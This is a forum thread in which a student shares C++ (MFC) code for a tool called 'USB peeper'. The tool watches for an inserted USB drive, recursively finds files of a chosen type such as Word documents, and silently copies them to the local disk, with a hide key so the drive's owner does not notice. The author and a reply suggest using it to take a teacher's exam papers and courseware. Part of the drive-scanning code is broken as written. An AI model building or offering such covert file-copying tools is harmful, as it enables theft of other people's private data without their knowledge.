liuqiangni 发表于 2011-3-8 13:08:00

U盘偷窥者

本帖最后由 liuqiangni 于 2011-3-8 13:10 编辑

今天发一篇文章吧,关于搜索文件的,我的软件名字叫做"U盘偷窥者",高手飘过吧!
                                       ------文章是在看雪论坛上面发表过了(本人原创),相信很多PYG的会员也是看雪上面的吧,如果看过了,那就请飘过吧!
   


灵感是来自我们的电磁学老师,我们快要考试了,老师每年都会把上届的试题给我们一份电子档的,当然每年的题也都差不多,老师可能也怕挂多了,自己面子上面过不去吧.然后上次同学拷贝试卷的时候,突然发现在试卷旁边的一个文件夹中还有些word文档,也准备拷回去,考试嘛,试卷当然不怕多咯!老师一看,连忙说:"这是我今年出的题目,你们拷回去了我怎么办!" 当时我们都直乐.但我想如果要是有一个可以搜索U盘的文件的软件,然后拷贝到电脑上面,那该有多好啊

,因为我们可以在上课之前打开电脑然后运行程序,老师U盘一插进去就可以自动的把word文档复制到电脑上面来了吗,最

重要的是老师还不知道,那我们班的同学不都可以不挂科了吗?呵呵,想法是不是很好!(想是这么想,但是我还是不会这样

做的,其一我不担心挂科,其二,考试本来就是公平竞争嘛,这样做了心里过不去)


这时候我就在构思怎么去实现这个功能,软件很简单,3个功能,1.查找是否有U盘存在,2.搜索指定的文件夹的指定格式的

文件(最重要的) 3.拷贝到硬盘上面




1和3都好实现,但是2 就不怎么好实现了.我去网上查了一下,搜索文件的代码很多,要么是编译通不过,要么就是没有我需

要的,最后还是觉定自己来动手实现吧.毕竟求人不如求己嘛!

现在我把核心代码发出来,源码在下面可以下载,仅供各位想学习的人参考,交流... 我也不是计算机专业的,代码粗糙,各

位别见笑...我尽量把代码注释的详细点,毕竟有很多初学者...



2.查找文件
/*我的实现和网上很多人实现方法不一样,这个是自己看别人代码然后悟出来的*/
/*我们要查找的是path路径下的,后缀名为format的文件*/
void findfile(CString path,CString format)   
{CFileFind ff;                                           //这里用的是CFileFind这个类
CString str;//保存你查找的具体文件的后缀名
BOOL work = ff.FindFile(path);                        //查找指定路径下的文件
while(work)
{
    work = ff.FindNextFile();
    CString ss = ff.GetFileName();               //获得文件的名字
    int t =ss.Find('.');
    str = ss.Right(ss.GetLength()-ss.Find(".",0)-1); //取点后面的字符
    str.MakeLower();//变成小写字母
    if(t !=-1)   //表示不是一个文件夹,而是一个文件 有"."存在
    {/*我这里没考虑文件名为"."和".."的两个目录,因为我认为文件名中有"."表示它是个文件而不是目

录,具体看代码*/
      if(str==format)
      {
      
      CString paths = ff.GetFilePath();
      CString disk ="D:\\Copy的U盘文件";
      ::CreateDirectory(disk,NULL);//创建一个目录放拷贝过来的文件
      disk+="\\";
      disk+=ff.GetFileName();
      ::CopyFile(paths,disk,true);//拷贝文件
      }

   
   
    }
    else//如果是文件夹的话,就递归查找
    {
      CString path1 = ff.GetFilePath();//其实是获取当前目录下的所有文件
      path1+="\\*.*";
      findfile(path1,format);//递归
      
    }
   

}

ff.Close();

}

接下来我们用SetTimer来获取U盘信息


代码如下:
回调函数
void CALLBACK EXPORT TimerProc(
   HWND hWnd,      // handle of CWnd that called SetTimer
   UINT nMsg,      // WM_TIMER
   UINT nIDEvent , // timer identification
   DWORD dwTime    // system time
)
{

char uType[] = "C:\\";
for(;uType<='Z';uType++)            //遍历磁盘找到可移动磁盘,获取可移动磁盘号
{      
    if(DRIVE_REMOVABLE ==GetDriveType(uType))//符合这个条件的就是可移动磁盘,方法有很多了
    {memset(uDisk,0,10);//重新置零,uDisk[]用于保存U盘盘符
      uDisk=uType;
      strcat(uDisk,":\\*.*");
      
    }
}

if(doc)         //doc是BOOL型的,由外面传进去的 具体看源码
    findfile(uDisk,"doc");    //搜索指定文件和拷贝文件

}



这样就算完成了,看起来很简单吧,真正的去实现可花了我不少时间哦,这个还有很多功能自己可以去加的.我这里算是只

给了一个思路,因为最近还要忙着复习...只能写这么多了,当然获取U盘信息也可以用消息来实现,我就不做了,自己去网

上查一下吧...

使用说明:

本程序用于复制U盘的一些文档,程序会在C:\\CopyFormUDisk\\下生成你拷贝的文件.如果需要获取别人u盘上面的一些Word excle等文档.

本程序使用简单,只需要打开程序,设置你需要获取的文件格式,然后插上U盘几秒钟即可,当然如果你不希望别人知道你获取了他的文件,你可以把程序设置成隐藏,这样更隐蔽.

本程序 F2是隐藏,F3是显示程序,F4是关闭程序



                  刘强
                  长江大学
                  2011.1.6

liuqiangni 发表于 2011-3-8 13:11:29

沙发自己占个,希望大家支持!

xtaymimk 发表于 2011-3-11 22:58:07

很牛啊,支持

野猫III 发表于 2011-3-12 09:16:14

试了一下,真的很强大。/:good

wspili 发表于 2011-3-12 14:12:39

看看 不知道有什么用

liuqiangni 发表于 2011-3-12 18:52:03

看看 不知道有什么用
wspili 发表于 2011-3-12 14:12 https://www.chinapyg.com/images/common/back.gif


    要是老师不给你课件,你就可以用这个去拷贝他的课件了,特别隐蔽,嘻嘻!!

jinlong8289 发表于 2011-3-13 01:03:54

这个东东有用,也很实用

liuqiangni 发表于 2011-3-13 10:59:07

这个文件在我的网盘上面也有下载,另外上面有很多的编程学习的资源...
http://www.vdisk.cn/liuqiangni

Chinabuyi 发表于 2011-3-13 19:39:45

:sleepy:
"U盘偷窥者" 名字让人想入非非!

pygcnm 发表于 2011-3-14 09:44:31

看看呵呵!
页: [1] 2
查看完整版本: U盘偷窥者